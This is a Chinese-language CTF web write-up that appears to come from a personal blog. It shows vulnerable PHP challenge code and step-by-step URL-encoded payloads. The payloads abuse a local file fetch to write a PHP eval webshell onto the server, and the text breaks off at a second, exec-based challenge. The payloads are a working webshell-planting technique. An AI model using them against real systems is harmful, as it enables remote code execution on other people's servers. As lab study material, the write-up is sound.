@shaobaobaoer
2018-07-22T04:53:34.000000Z
字数 1990
阅读 1143
CTF
WEB
wp
做题地址:
https://github.com/inory009/CTF-Web-Challenges
感谢师傅们整理的题目,我会写点自己的WP和心得
环境: Kali linux -- docker -- firefox
环境配置教程: http://120.79.191.75/archives/28
Build 之前 把 deploy 目录下的start.sh 放到 deploy/src/目录下,不然会报错
这道题目推荐在本地搭建一下就行了。
<?php
if(isset($_GET) && !empty($_GET)){
$url = $_GET['file'];
$path = "upload/".$_GET['path'];
}else{
show_source(__FILE__);
exit();
}
if(strpos($path,'..') > -1){
die('This is a waf!');
}
// 比较有意思的是这个函数
if(strpos($url,'http://127.0.0.1/') === 0){
// 将file 参数放到了 $url 中,然后
file_put_contents($path, file_get_contents($url));
echo "console.log($path update successed!)";
}else{
echo "Hello.Geeker";
}
两个参数,一个file 一个path
path
file
$path update successed
的 $path
参数就是我们的目标。path=%3C?php%20eval($_REQUEST[c]);?%3E
http://127.0.0.1/
即可http://127.0.0.1/?file=http://127.0.0.1/&path=%3C?php%20eval($_REQUEST[c]);?%3E
当然,我们需要给它url_encode一下。payload
【wp】
http://127.0.0.1/?file=http://127.0.0.1/?file%3dhttp%3a%2f%2f127.0.0.1%2f%26path%3d%253C%3fphp%2520eval(%24_REQUEST%5bc%5d)%3b%3f%253E.php&path=c.php
【那个.php不要也没问题】
http://127.0.0.1/?file=http://127.0.0.1/?file%3dhttp%3a%2f%2f127.0.0.1%2f%26path%3d%253C%3fphp%2520eval(%24_REQUEST%5bc%5d)%3b%3f%253E&path=z.php
<?php
highlight_file(__FILE__);
$dir = 'sandbox/' . $_SERVER['REMOTE_ADDR'];
if ( !file_exists($dir) )
mkdir($dir);
chdir($dir);
$args = $_GET['args'];
for ( $i=0; $i<count($args); $i++ ){
if ( !preg_match('/^\w+$/', $args[$i]) )
exit();
}
exec("/bin/orange " . implode(" ", $args));
?>
参数 args